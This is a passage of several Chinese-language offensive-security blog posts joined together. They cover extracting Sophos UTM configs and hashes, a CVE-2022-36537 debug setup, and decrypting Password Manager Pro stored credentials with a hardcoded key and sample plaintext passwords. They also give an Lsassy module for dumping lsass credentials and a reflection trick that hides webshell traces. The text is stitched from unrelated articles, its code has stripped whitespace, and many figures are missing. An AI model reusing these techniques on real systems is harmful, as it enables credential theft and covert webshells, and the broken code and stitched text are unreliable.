整合yank.py和bfs.py,修復bfs_extract.py中的bug,完整的代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/SophosUTM_plxDecrypter.py

使用SophosUTM_plxDecrypter.py能夠獲得confd.plx的反編譯代碼

6.代碼分析經過分析,得知Export-confd.plx\confd.pl為主要功能,在代碼中發現配置文件的位置為$config:storage_dir/cfg

如下圖

60ddeb2d269773114168fecddb223c8.png

對應的絕對路徑為/var/confd/var/storage/cfg

7.文件格式分析查看cfg的文件格式:

file/var/confd/var/storage/cfg返回結果:

/var/confd/var/storage/cfg:perlStorable(v0.7)data(major2)(minor7)得知格式為perl Storable data,這是Perl經過序列化(Perl中稱為凍結)生成的二進制數據

8.文件格式解析(1)文件提取

這裡可以使用Python的storable模塊提取數據

安裝storable模塊:

pipinstallstorable簡單使用:

fromstorableimportretrieve

data=retrieve('cfg')

print(data)輸出結果為json數據

(2)文件分析

為了便於分析json數據,這裡使用Sublime Text的pretty json插件,安裝方法如下:

在Sublime text中依次選擇Tools - Command Palette.打開面板,輸入pci,選中PackageControl: Install Package,在彈出的輸出框中填入pretty json

設置調用pretty json插件的快捷鍵為ctrl+alt+j:

在Sublime Text中依次選擇Preferences - Key Bindings,在彈出的右側窗口添加如下內容:

[

{'keys':['ctrl+alt+j'],'command':'pretty_json'},

]在使用pretty json解析json時會提示格式錯誤,按照提示逐個修復即可

最終顯示的格式如下圖

631f7de722fed7fec962e64f8bfa2bf.png

9.數據提取為了提高效率,這裡可以使用Python提取出關鍵數據,開發細節如下:

(1)提取用戶信息

通過分析json文件,發現data['exclusive'][b'email_user']['u2v']中的key為每個用戶信息的標誌,例如user: REF_AaaUseVpn1

再通過對應標誌位置的鍵值能夠獲取用戶的完整信息,位置為data['objects'][ flag ]['data'],對應例子的位置為data['objects']['REF_AaaUseVpn1']['data']

實現代碼:

defGetUserDataFull(file):

data=retrieve(file)

print('[*]Trytogetthefulldataofuser')

forkey,valueindata['exclusive'][b'email_user']['u2v'].items():

index=key.rfind(':')

indexobject=data['objects'][key[index+1:]]['data']

print('[+]'+data['objects'][key[index+1:]]['data']['name'])

forkey1,value1inindexobject.items():

print(''+str(key1)+':'+str(value1))(2)提取網絡配置信息

通過分析json文件,發現data['index']['network']中的value為每個網絡配置的標誌,例如REF_DefaultInternalNetwork

再通過對應標誌位置的鍵值讀取完整信息,位置為data['objects'][ flag ]['data'],對應例子的位置為data['objects']['REF_DefaultInternalNetwork']['data']

實現代碼:

defGetNetworkConfig(file):

data=retrieve(file)

print('[*]Trytogettheconfigofnetwork')

forkey,valueindata['index']['network'].items():

print('[+]'+str(key))

forobjectvalueinvalue:

print('-'+objectvalue)

forkey1,value1indata['objects'][objectvalue]['data'].items():

print(''+str(key1)+':'+str(value1))(3)提取LastChange信息

位置:data['lastchange']

需要注意時間格式,默認為數字形式,例如1652930086,需要進行轉換

實現代碼:

defGetLastChange(file):

data=retrieve(file)

print('[*]TrytogetthedataofLastChange')

print('')

forkey,valueindata['lastchange'].items():

print('[+]'+str(key))

forkey1,value1invalue.items():

ifstr(key1)=='time':

print('time:'+str(datetime.fromtimestamp(value['time'])))

else:

print(''+str(key1)+':'+str(value1))完整的代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/SophosUTM_ConfigParser.py

代碼支持以下功能:

GetAdminDataFull,提取出管理員用戶的完整信息

GetAdminHash,提取出管理員用戶的md4 hash

GetLastChange,提取出LastChange信息

GetNetworkConfig,提取出網絡配置信息

GetRemoteAccess,提取出VPN配置信息

GetSSHConfig,提取出SSH連接信息

GetUserDataFull,提取出用戶的完整信息

GetUserHash,提取出用戶的md4 hash

Parsefile,提取出完整信息

0x04 小結本文介紹了導出Sophos UTM配置文件的研究過程,開源利用腳本以提高分析效率。

0x00 前言Server Backup Manager(SBM)是一種快速、經濟且高性能的備份軟件,適用於物理和虛擬環境中的Linux和Windows服務器。本文將要介紹Server Backup Manager漏洞調試環境的搭建方法。

0x01 簡介本文將要介紹以下內容:

環境搭建

調試環境搭建

用戶數據庫文件提取

CVE-2022-36537簡要介紹

0x02 環境搭建安裝參考資料:http://wiki.r1soft.com/display/ServerBackupManager/Install+and+Upgrade+Server+Backup+Manager+on+Debian+and+Ubuntu.html

參考資料提供了兩種安裝方法,但是我在測試過程中均遇到了缺少文件/etc/init.d/cdp-server的錯誤

這裡改用安裝舊版本的Server Backup Manager,成功完成安裝,具體方法如下:

1.下載安裝包http://r1soft.mirror.iweb.ca/repo.r1soft.com/release/6.2.2/78/trials/R1soft-ServerBackup-Manager-SE-linux64-6-2-2.zip

1.png

web管理頁面有以下兩個:

http://127.0.0.1:8080

https://127.0.0.1:8443

0x03 調試環境搭建研究過程如下:

2.png 3.png

(6)

使用IDEA下斷點並配置遠程調試,遠程調試成功如下圖

下载.png0x04 用戶數據庫文件提取4.png 5.png 6.png 7.png

8.png 9.png

從以上代碼可以得出用戶口令的加密算法

(2)定位用戶創建的具體代碼實現位置

10.png 11.png 12.png 13.png 14.png 15.png 16.png

0x05 CVE-2022-36537簡要介紹漏洞分析文章:https://medium.com/numen-cyber-labs/cve-2022-36537-vulnerability-technical-analysis-with-exp-667401766746

文章中提到觸發RCE需要上傳一個帶有Payload的com.mysql.jdbc.Driver文件

這個操作只能利用一次,原因如下:

默認情況下,管理後台的的Database Driver頁面存在可以上傳的圖標,如下圖

17.png上傳後不再顯示可上傳的圖標,如下圖

18.png 19.png

0x06 小結本文介紹了在搭建Server Backup Manager調試環境過程中一些問題的解決方法,分析用戶數據庫文件提取的方法,給出檢測CVE-2022-36537的建議。

0x00 前言我在使用Python Requests庫發送HTTP數據包時,發現Requests庫默認會對url進行編碼。而在測試某些漏洞時,觸發漏洞需要url的原始數據,禁用編碼url的功能。本文將要介紹我的解決方法,記錄研究細節。

0x01 簡介本文將要介紹以下內容:

測試環境

解決方法

0x02 測試環境我在研究CVE-2022-44877時遇到以下情況:

實現寫文件的POC如下:

1.png根據POC我們可以寫出對應的Python測試代碼:

2.png為了便於測試,Python測試代碼在發送POST數據時添加了代理,我們可以藉助BurpSuite觀察實際發送的內容,如下圖

3.png 4.png

0x03 解決方法5.png 6.png 7.png 8.png 9.png 10.png 11.png 12.png 13.png 14.png

url未做編碼,問題解決

0x04 解決方法2這裡還可以使用C Sharp實現發送POST數據,避免url編碼,實現代碼如下:

15.png0x05 小結本文介紹了通過修改Python Requests庫禁用編碼url的方法,也給出了C Sharp禁用編碼url的實現代碼,記錄研究細節。

0x00 前言pypsrp是用於PowerShell遠程協議(PSRP)服務的Python客戶端。我在研究過程中,發現在Exchange Powershell下存在一些輸出的問題,本文將要介紹研究過程,給出解決方法。

0x01 簡介Exchange PowerShell Remoting

pypsrp的使用

pypsrp存在的輸出問題

解決方法

0x02 Exchange PowerShell Remoting參考資料:

https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps

默認設置下,需要注意以下問題:

所有域用戶都可以連接Exchange PowerShell

需要在域內主機上發起連接

連接地址需要使用FQDN,不支持IP

通過Powershell連接Exchange PowerShell的命令示例:

1.png通過pypsrp連接Exchange PowerShell的命令示例:

2.png如果想要加入調試信息,可以添加以下代碼:

WX20221201-104743@2x.png

0x03 pypsrp存在的輸出問題我們在Exchange PowerShell下執行命令的完整返回結果如下圖

4.png但是通過pypsrp連接Exchange PowerShell執行命令時,輸出結果不完整,無法獲得命令的完整信息,如下圖

5.png

0x04 解決方法1.定位問題

通過查看源碼,定位到代碼位置:https://github.com/jborean93/pypsrp/blob/704f6cc49c8334f71b12ce10673964f037656782/src/pypsrp/messages.py#L207

我們可以在這裡添加輸出message_data的代碼,代碼示例:

6.png返回結果:

10.png 11.png 12.png 13.png在調用serializer.deserialize(message_data)提取輸出結果時,這裡只提取到了一組數據,忽略了完整的結果

經過簡單的分析,發現標籤內包含完整的輸出結果,所以這裡可先通過字符串截取提取出標籤內的數據,示例代碼:

15.png進一步分析提取出來的數據,發現每個標籤分別對應一項屬性,為了提高效率,這裡使用xml.dom.minidom解析成xml格式並提取元素,示例代碼:

16.png經測試,以上代碼能夠輸出完整的結果

按照pypsrp的代碼格式,得出優化pypsrp輸出結果的代碼:

17.png使用修改過的pypsrp連接Exchange PowerShell執行命令時,能夠返回完整的輸出結果,如下圖

18.png

經測試,在測試ProxyShell的過程中,使用修改過的pypsrp也能得到完整的輸出結果

補充:

如果使用原始版本pypsrp測試ProxyShell,可通過解析代理的返回結果實現,其中需要注意的是在作Base64解密時,由於存在不可見字符,無法使用.decode('utf-8')解碼,可以換用.decode('ISO-8859-1'),還需要考慮數據被分段的問題,實現的示例代碼如下:

19.png0x05 小結本文介紹了通過pypsrp連接Exchange PowerShell執行命令返回完整輸出結果的解決方法。

0x00 前言本文記錄從零開始搭建Password Manager Pro漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容:

Password Manager Pro安裝

Password Manager Pro漏洞調試環境配置

數據庫連接

0x02 Password Manager Pro安裝1.下載最新版下載地址:https://www.manageengine.com/products/passwordmanagerpro/download.html

舊版本下載地址:https://archives2.manageengine.com/passwordmanagerpro/

最新版默認可免費試用30天,舊版本在使用時需要合法的License

注:

我在測試過程中,得出的結論是如果缺少合法的License,舊版本在使用時只能啟動一次,第二次啟動時會提示沒有合法的License

2.安裝系統要求:https://www.manageengine.com/products/passwordmanagerpro/system-requirements.html

對於Windows系統,需要Win7以上的系統,Win7不支持

默認安裝路徑:C:\Program Files\ManageEngine\PMP

3.測試安裝成功後選擇Start PMP Service

訪問https://localhost:7272

默認登錄用戶名:admin

默認登錄口令:admin

如下圖

1.png0x03 Password Manager Pro漏洞調試環境配置本文以Windows環境為例

1.Password Manager Pro設置查看服務啟動後相關的進程,如下圖

2.pngjava進程的啟動參數:

3.pngjava進程的父進程為wrapper.exe,啟動參數:

4.png查看文件C:\Program Files\ManageEngine\PAM360\conf\wrapper.conf,找到啟用調試功能的位置:

5.png取消註釋後,內容如下:

6.png

注:

Address的配置不需要設置為address=*:8787,會提示ERROR: transport error 202: gethostbyname: unknown host,設置address=8787就能夠支持遠程調試的功能

重啟服務,再次查看java進程的參數:wmic process where name='java.exe' get commandline

配置修改成功,如下圖

7.png

2.常用jar包位置路徑:C:\Program Files\ManageEngine\PMP\lib

web功能的實現文件為AdventNetPassTrix.jar

3.IDEA設置遠程調試設置如下圖

8.png

遠程調試成功,如下圖

9.png

0x04 數據庫連接默認配置下,Password Manager Pro使用postgresql存儲數據

配置文件路徑:C:\Program Files\ManageEngine\PMP\conf\database_params.conf

內容示例:

10.png 11.png

1.口令破解數據庫連接的口令被加密,加解密算法位於C:\Program Files\ManageEngine\PMP\lib\AdventNetPassTrix.jar中的com.adventnet.passtrix.ed.PMPEncryptDecryptImpl.class

密鑰固定保存在com.adventnet.passtrix.db.PMPDBPasswordGenerator.class,內容為@dv3n7n3tP@55Tri*

我們可以根據PMPEncryptDecryptImpl.class中的內容快速編寫一個解密程序

解密程序可參考:https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/

注:

文章中涉及數據庫口令的解密沒有問題,Master Key的解密存在Bug,解決方法將在後面的文章介紹

解密獲得連接口令為Eq5XZiQpHv

2.數據庫連接根據配置文件拼接數據庫連接的命令

(1)失敗的命令

12.png

(2)成功的命令

將localhost替換為127.0.0.1,連接成功,完整的命令為:

13.png(3)一條命令實現連接數據庫並執行數據庫操作

格式為psql --command='SELECT * FROM table;' postgresql://

示例命令:

14.png輸出如下:

15.png

發現password的數據內容被加密

0x05 小結在我們搭建好Password Manager Pro漏洞調試環境後,接下來就可以著手對漏洞進行學習。

0x00 前言在上篇文章《Password Manager Pro漏洞调试环境搭建》 介紹了漏洞調試環境的搭建細節,經測試發現數據庫的部分數據做了加密,本文將要介紹數據解密的方法。

0x01 簡介本文將要介紹以下內容:

數據加密的位置

解密方法

開源代碼

實例演示

0x02 數據加密的位置測試環境同《Password Manager Pro漏洞调试环境搭建》 保持一致

數據庫連接的完整命令:'C:\Program Files\ManageEngine\PMP\pgsql\bin\psql' 'host=127.0.0.1 port=2345 dbname=PassTrix user=pmpuser password=Eq5XZiQpHv'

數據庫連接成功,如下圖

1.png常見的數據加密位置有以下三個:

(1)Web登錄用戶的口令salt查詢Web登錄用戶名的命令:select * from aaauser;

查詢Web登錄用戶口令的命令:select * from aaapassword;

結果如下圖

2.png

password的加密格式為bcrypt(sha512($pass))/bcryptsha512 *,對應Hashcat的Hash-Mode為28400

其中,salt項被加密

(2)數據庫高權限用戶的口令查詢命令:select * from DBCredentialsAudit;

輸出如下:

3.png

password項被加密

(3)保存的憑據查詢命令:select * from ptrx_passbasedauthen;

結果如下圖

4.png

password項被加密

導出憑據相關完整信息的查詢命令:

5.png注:

該命令引用自https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/

0x03 解密方法加解密算法細節位於C:\Program Files\ManageEngine\PMP\lib\AdventNetPassTrix.jar中的com.adventnet.passtrix.ed.PMPEncryptDecryptImpl.class和com.adventnet.passtrix.ed.PMPAPI.class

解密流程如下:

(1)計算MasterKey代碼實現位置:C:\Program Files\ManageEngine\PMP\lib\AdventNetPassTrix.jar-com.adventnet.passtrix.ed.PMPAPI.class-GetEnterpriseKey()

如下圖

6.png

首先需要獲得enterpriseKey,通過查詢數據庫獲得,查詢命令:select NOTESDESCRIPTION from Ptrx_NotesInfo;

輸出為:

7.png

這裡可以得到enterpriseKey為D8z8c/cz3Pyu1xuZVuGaqI0bfGCRweEQsptj2Knjb/U=

解密enterpriseKey的實現代碼:

8.png跟進一步,如下圖

9.png

解密的密鑰通過getPmp32BitKey()獲得,對應的代碼實現位置:C:\Program Files\ManageEngine\PMP\lib\AdventNetPassTrix.jar-com.adventnet.passtrix.ed.PMPAPI.class-get32BitPMPConfKey()

代碼實現細節如下圖

10.png

這裡需要先讀取文件C:\Program Files\ManageEngine\PMP\conf\manage_key.conf獲得PMPConfKey的保存位置,默認配置下輸出為:C:\Program Files\ManageEngine\PMP\conf\pmp_key.key

查看C:\Program Files\ManageEngine\PMP\conf\pmp_key.key的文件內容:

11.png

通過動態調試發現,這裡存在轉義字符的問題,需要去除字符\,文件內容為60XVZJQDEPzrTluVIGDY2y9q4x6uxWZanf2LUF2KBCM\=,對應的PMPConfKey為60XVZJQDEPzrTluVIGDY2y9q4x6uxWZanf2LUF2KBCM=

至此,我們得到以下內容:

PMPConfKey為60XVZJQDEPzrTluVIGDY2y9q4x6uxWZanf2LUF2KBCM=

enterpriseKey為D8z8c/cz3Pyu1xuZVuGaqI0bfGCRweEQsptj2Knjb/U=

通過解密程序,最終可計算得出MasterKey為u001JO4dpWI(%!^#

(2)使用MasterKey解密數據庫中的數據數據庫中的加密數據均是以\x開頭的格式

解密可通過查詢語句完成

解密數據庫高權限用戶口令的命令示例:select decryptschar(password,'u001JO4dpWI(%!^#') from DBCredentialsAudit;

輸出如下圖

12.png

這裡直接獲得了明文口令N5tGp!R@oj,測試該口令是否有效的命令:'C:\Program Files\ManageEngine\PMP\pgsql\bin\psql' 'host=127.0.0.1 port=2345 dbname=PassTrix user=postgres password=N5tGp!R@oj'

連接成功,證實口令解密成功,如下圖

13.png

解密保存憑據的命令示例:select ptrx_account.RESOURCEID, ptrx_resource.RESOURCENAME, ptrx_resource.DOMAINNAME, ptrx_resource.IPADDRESS, ptrx_resource.RESOURCEURL, ptrx_password.DESCRIPTION, ptrx_account.LOGINNAME, decryptschar(ptrx_passbasedauthen.PASSWORD,'u001JO4dpWI(%!^#') from ptrx_passbasedauthen LEFT JOIN ptrx_password ON ptrx_passbasedauthen.PASSWDID=ptrx_password.PASSWDID LEFT JOIN ptrx_account ON ptrx_passbasedauthen.PASSWDID=ptrx_account.PASSWDID LEFT JOIN ptrx_resource ON ptrx_account.RESOURCEID=ptrx_resource.RESOURCEID;

輸出如下圖

14.png

提取出數據為PcQIojSp6/fuzwXOMI1sYJsbCslfuppwO+k=

(3)使用PMPConfKey解密得到最終的明文通過解密程序,最終可計算得出明文為iP-6pI24)-

登錄Web管理後台,確認解密的明文是否正確,如圖

15.png

解密成功

0x03 開源代碼以上測試的完整實現代碼如下:

16.png 17.png 18.png 19.png 20.png 21.png 22.png 23.png

代碼修正了https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/中在解密MasterKey時的Bug,更具通用性

0x04 小結本文介紹了Password Manager Pro數據解密的完整方法,修正了https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/中在解密MasterKey時的Bug,更具通用性。

0x00 前言在之前的文章《渗透基础——远程从lsass.exe进程导出凭据》 介紹了Lsassy的用法,Lsassy能夠實現遠程從lsass.exe進程導出憑據。本文將要在Lsassy的基礎上進行二次開發,添加一個導出憑據的方法,記錄細節。

0x01 簡介本文將要介紹以下內容:

马云惹不起马云二次開發的細節

马云惹不起马云 開源代碼

0x02 導出憑據的方法在之前的文章《渗透基础——从lsass.exe进程导出凭据》 提到過使用RPC控制lsass加載SSP的方式向lsass.exe進程注入dll,由dll來實現dump的功能,這個方法是Lsassy缺少的。

這個方法共分為兩部分:

(1)加載器使用RPC控制lsass進程加載dll文件

可參考XPN開源的代碼:

https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e

在編譯代碼時,為了提高通用性,編譯選項選擇在靜態庫中使用MFC,在原代碼的基礎上添加如下代碼:

#pragmacomment(lib,'Rpcrt4.lib')編譯代碼生成文件rpcloader.exe

(2)dll文件dll文件實現從lsass.exe進程導出憑據,代碼可參考:

https://github.com/outflanknl/Dumpert/blob/master/Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.c

dll加載時會將dump文件保存為c:\windows\Temp\dumpert.dmp

編譯代碼生成文件dumpert.dll

經過以上操作,得到文件rpcloader.exe和dumpert.dll,作為二次開發的準備。

0x03 二次開發的細節1.添加一個需要指定文件路徑的dump方法格式參考:https://github.com/Hackndo/lsassy/blob/master/lsassy/dumpmethod/dummy.py.tpl

根據參考格式寫出模塊代碼,我這裡額外做了一些標記,細節如下:

fromlsassy.dumpmethodimportIDumpMethod,Dependency

classDumpMethod(IDumpMethod):

custom_dump_path_support=False

custom_dump_name_support=False

dump_name='dumpert.dmp'//進程dump文件保存的文件名

dump_share='C$'//進程dump文件保存的磁盤

dump_path='\\Windows\\Temp\\'//進程dump文件保存的路徑

def__init__(self,session,timeout):

super().__init__(session,timeout)

self.loader=Dependency('rpcloader','rpc.exe')//rpcloader為命令行使用的參數名,rpc.exe為上傳文件保存的文件名

self.dll=Dependency('dll','rpc.dll')//dll為命令行使用的參數名,rpc.dll為上傳文件保存的文件名

defprepare(self,options):

returnself.prepare_dependencies(options,[self.loader,self.dll])//確認命令行參數是否正確

defclean(self):

self.clean_dependencies([self.loader,self.dll])//清除上傳的文件

defget_commands(self,dump_path=None,dump_name=None,no_powershell=False):

cmd_command='''{}{}'''.format(

self.loader.get_remote_path(),self.dll.get_remote_path()//執行的命令:c:\windows\temp\rpc.exec:\windows\temp\rpc.dll

)

pwsh_command='''{}{}'''.format(

self.loader.get_remote_path(),self.dll.get_remote_path()

)

return{

'cmd':cmd_command,

'pwsh':pwsh_command

}將以上代碼保存至python \Lib\site-packages\lsassy\dumpmethod\rawrpc.py

注:

上傳的文件可以使用隨機名稱,代碼self.loader=Dependency('rpcloader', 'rpc.exe')

可修改為self.loader=Dependency('rpcloader', ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + '.exe'),代碼self.dll=Dependency('dll', 'rpc.dll')可修改為self.dll=Dependency('dll', ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + '.dll')

測試命令:

lsassy-uAdministrator-pPassword1192.168.1.1-mrawrpc-Orpcloader_path=c:\test\rpcloader.exe,dll_path=c:\test\dumpert.dll該方法會將本地的c:\test\rpcloader.exe和c:\test\dumpert.dll複製到遠程主機並命名為c:\windows\temp\rpc.exe和c:\windows\temp\rpc.dll,將lsass進程的dump文件保存為c:\windows\temp\dumpert.dmp

2.添加一個全自動的dump方法為了使以上整個過程自動化,這裡可以選擇將exe和dll文件作base64編碼保存在變量中。

base64編碼的實現代碼:

importbase64

withopen('rpcloader.exe','rb')asfr:

content=fr.read()

data1=base64.b64encode(content).decode('utf8')

withopen('rpcloader-base64.txt','w')asfw:

fw.write(data1)

withopen('dumpert.dll','rb')asfr:

content=fr.read()

data1=base64.b64encode(content).decode('utf8')

withopen('dumpert-base64.txt','w')asfw:

fw.write(data1)將生成rpcloader-base64.txt和dumpert-base64.txt替換以下代碼中的base64

importbase64

importrandom

importstring

fromlsassy.dumpmethodimportIDumpMethod,Dependency

classDumpMethod(IDumpMethod):

custom_dump_path_support=False

custom_dump_name_support=False

dump_name='dumpert.dmp'

dump_share='C$'

dump_path='\\Windows\\Temp\\'

def__init__(self,session,timeout):

super().__init__(session,timeout)

self.loader=Dependency('rpcloader',''.join(random.choice(string.ascii_letters+string.digits)for_inrange(8))+'.exe')

self.loader.content=base64.b64decode('')

self.dll=Dependency('dll',''.join(random.choice(string.ascii_letters+string.digits)for_inrange(8))+'.dll')

self.dll.content=base64.b64decode('')

defprepare(self,options):

returnself.prepare_dependencies(options,[self.loader,self.dll])

defclean(self):

self.clean_dependencies([self.loader,self.dll])

defget_commands(self,dump_path=None,dump_name=None,no_powershell=False):

cmd_command='''{}{}'''.format(

self.loader.get_remote_path(),self.dll.get_remote_path()

)

pwsh_command='''{}{}'''.format(

self.loader.get_remote_path(),self.dll.get_remote_path()

)

return{

'cmd':cmd_command,

'pwsh':pwsh_command

}將以上代碼保存至python \Lib\site-packages\lsassy\dumpmethod\rawrpc_embedded.py

測試命令:

lsassy-uAdministrator-pPassword1192.168.1.1-mrawrpc_embedded3.打包成exe文件完整的打包命令:

pyinstaller-Fconsole.py--hidden-importunicrypto.backends.pure.DES--hidden-importunicrypto.backends.pure.TDES--hidden-importunicrypto.backends.pure.AES--hidden-importunicrypto.backends.pure.RC4--hidden-importlsassy.dumpmethod.comsvcs--hidden-importlsassy.dumpmethod.comsvcs_stealth--hidden-importlsassy.dumpmethod.d llinject--hidden-importlsassy.dumpmethod.dumpert--hidden-importlsassy.dumpmethod.dumpertdll--hidden-importlsassy.dumpmethod.edrsandblast--hidden-importlsassy.dumpmethod.mirrordump--hidden-importlsassy.dumpmethod.mirrordump_embedded--hidden-importlsassy.dumpmethod.nanodump--hidden-importlsassy.dumpmethod.ppldump--h idden-importlsassy.dumpmethod.ppldump_embedded--hidden-importlsassy.dumpmethod.procdump--hidden-importlsassy.dumpmethod.procdump_embedded--hidden-importlsassy.dumpmethod.rdrleakdiag--hidden-importlsassy.dumpmethod.wer--hidden-importlsassy.exec.mmc--hidden-importlsassy.exec.smb--hidden-importlsassy.exec.smb_stealth --hidden-importlsassy.exec.task--hidden-importlsassy.exec.wmi--hidden-importlsassy.output.grep_output--hidden-importlsassy.output.json_output--hidden-importlsassy.output.pretty_output--hidden-importlsassy.output.table_output--hidden-importlsassy.dumpmethod.rawrpc--hidden-importlsassy.dumpmethod.rawrpc_embedded0x04 小結Lsassy將不同的功能模塊化,結構設置合理,添加dump方法僅需要修改Dumper module對應的實現代碼。我已經將新添加的模塊推送至Lsassy,在最新版的Lsassy可以直接使用這個模塊。

0x00 前言我們知道,當我們訪問jsp文件時,Java環境會先將jsp文件轉換成.class字節碼文件,再由Java虛擬機進行加載,這導致了Java服務器上會生成對應名稱的.class字節碼文件。對於webshell,這會留下痕跡。

為了實現自刪除.class字節碼文件,我們可以通過反射獲得.class字節碼文件的路徑,再進行刪除。本文將以Zimbra環境為例,結合AntSword-JSP-Template,分析利用思路。

0x01 簡介本文將要介紹以下內容:

通過反射實現webshell編譯文件的自刪除

通過反射實現AntSword-JSP-Template

0x02 通過反射實現webshell編譯文件的自刪除根據上篇文章《Java利用技巧——通过反射修改属性》 的內容,我們按照映射request-_scope-_servlet-rctxt-jsps,通過多次反射最終能夠獲得JspServletWrapper實例

查看JspServletWrapper類中的成員,jsps-value-ctxt-servletJavaFileName保存.java編譯文件的路徑,jsps-value-ctxt-classFileName保存.class編譯文件的路徑,示例如下圖

48089bb33938b0af1f537735f2b22e7.png

為了只篩選出當前jsp,可以通過request類的getServletPath()方法獲得當前Servlet,如下圖

68075c340130695b19341cc9816c870.png

從ctxt對象獲取servletJavaFileName可以調用JspCompilationContext類的getServletJavaFileName()方法,如下圖

c9c3600a846f3f03cd5ab0ba7015001.png

從ctxt對象獲取classFileName可以調用JspCompilationContext類的getClassFileName()方法,如下圖

74f06978d9b03ead4f10be6764000fb.png

綜上,由此我們可以得出通過反射獲取編譯文件路徑的實現代碼如下:

image.png

刪除編譯文件的代碼如下:

image.png

0x03 通過反射實現AntSword-JSP-Templaterebeyond在《利用动态二进制加密实现新型一句话木马之Java篇》 介紹了Java一句話木馬的實現方法,AntSword-JSP-Template也採用了相同的方式

我在測試AntSword-JSP-Template的過程中,發現編譯文件會多出一個,例如test.jsp,訪問後,生成的編譯文件為test_jsp.class和test_jsp.java,如果使用了AntSword-JSP-Template,會額外生成編譯文件test_jsp$U.class

rebeyond在《利用动态二进制加密实现新型一句话木马之Java篇》 提到:

“正常情況下,Java並沒有提供直接解析class字節數組的接口。不過classloader內部實現了一個protected的defineClass方法,可以將byte[]直接轉換為Class

因為該方法是protected的,我們沒辦法在外部直接調用,當然我們可以通過反射來修改保護屬性,不過我們選擇一個更方便的方法,直接自定義一個類繼承classloader,然後在子類中調用父類的defineClass方法。 ”

這裡我打算通過反射修改保護屬性,調用ClassLoader類的defineClass()方法

在ClassLoader類中,defineClass()方法有多個重載,如下圖

6a71d8fd889bc319c50c39e4599605b.png

這裡選擇defineClass(byte[] b, int off, int len)

rebeyond在《利用动态二进制加密实现新型一句话木马之Java篇》 還提到:

“如果想要順利的在equals中調用Request、Response、Seesion這幾個對象,還需要考慮一個問題,那就是ClassLoader的問題。JVM是通過ClassLoader+類路徑來標識一個類的唯一性的。我們通過調用自定義ClassLoader來defineClass出來的類與Request、Response、Seesion這些類的ClassLoader不是同一個,所以在equals中訪問這些類會出現java.lang.ClassNotFoundException異常”

解決方法同樣是複寫ClassLoader的如下構造函數,傳遞一個指定的ClassLoader實例進去:

image.png

最終,得到通過反射實現AntSword-JSP-Template的核心代碼:

image.png

訪問通過反射實現AntSword-JSP-Template的test.jsp後,額外生成的編譯文件為test_jsp$1.class

0x04 小結本文介紹了通過反射實現webshell編譯文件自刪除和AntSword-JSP-Template,記錄關於反射的學習心得。

0x00 前言在上篇文章《Zimbra漏洞调试环境搭建》 提到了通過反射枚舉JspServletWrapper實例的實現,本文將要以此為例,詳細介紹實現的思路和細節,便於以此類推,實現其他功能。

0x01 簡介本文將要介紹以下內容:

反射中的常用操作

獲得類的所有字段

獲得類的所有方法

調用類的方法

枚舉JspServletWrapper實例的實現細節

0x02 反射中的常用操作1.獲得類的所有字段getField():

能夠獲取本類以及父類中的public字段

getDeclaredField():

能夠獲取本類中的所有字段

這里以Zimbra環境為例,給出示例代碼

(1)獲取request對象的所有字段

image.png

(2)獲取request對象的父類的所有字段

image.png

2.獲得類的所有方法getMethods():

能夠獲取本類以及父類或者父接口中的公共方法(public修飾符修飾的)

getDeclaredMethods():

能夠獲取本類中的所有方法,包括private、protected、默認以及public的方法

這里以Zimbra環境為例,給出示例代碼

(1)獲取request對象的所有方法

image.png

(2)獲取request對象的父類的所有方法

image.png

3.調用類的指定方法這里以Zimbra環境為例,給出示例代碼

搭建好Zimbra漏洞調試環境後,定位request對象的getHeader(String name)方法,代碼細節如下:

image.png

對照代碼細節,參數類型為String

調用request對象的getHeader(String name)方法,參數為'User-Agent',實現代碼如下:

image.png

0x03 枚舉JspServletWrapper實例的實現細節1.下斷點選擇文件servlet-api-3.1.jar,依次選中javax.servlet-http-HttpServlet.class,在合適的位置下斷點,當運行到斷點時,可以查看request對象的完整結構,如下圖

e9e0eae38cecda9913564d7bfcf1b5a.png

查看request對象的結構,我們最終定位到了JspServletWrapper實例的位置,直觀的映射為:request-_scope-_servlet-rctxt-jsps

接下來,我們需要按照這個映射,通過多次反射最終獲得JspServletWrapper實例

(1)讀取request對象的所有字段

image.png

在回顯的結果中能夠找到_scope

(2)從request對象獲得_scope實例並再次枚舉字段

image.png

在回顯的結果中能夠找到_servlet

(3)獲得_servlet實例並再次枚舉字段

image.png

回顯的結果為:serialVersionUID

這裡沒有rctxt字段

嘗試尋找原因:開啟調試器,定位至關鍵位置,如下圖

46a735c03b2f1ba1fabf34da4ab54c7.png

從圖中可以看到,_servlet的類為JettyJspServlet

JettyJspServlet繼承自JspServlet,成員變量只有serialVersionUID,這與我們通過訪問jsp頁面得到的結果一致

查看JspServlet的相關實現代碼,如下圖

5872d6fee77f3adc12ac3e6f4d198a2.png

從圖中可以看到,rctxt為JspServlet的成員變量,屬性為private,所以子類JettyJspServlet無法繼承成員變量rctxt

這裡我們可以直接選取_servlet實例的父類進行枚舉字段

(4)選取_servlet實例的父類進行枚舉字段

image.png

在回顯的結果中能夠找到jsps

(5)獲得jsps實例並枚舉字段

開啟調試器,查看jsps的類型,如下圖

7a9266135013ed420e1958d8b9ae80c.png

從圖中可以看到,jsps的類為ConcurrentHashMap,這裡只需要枚舉出所有Key即可

添加需要導入的包後,得出最終實現代碼:

image.png

補充:刪除指定JspServletWrapper的實例

只需要調用ConcurrentHashMap的remove方法即可

示例代碼:

image.png

0x04 小結本文介紹了通過反射枚舉JspServletWrapper實例的具體實現,記錄思路和細節,便於以此類推,修改其他內容。

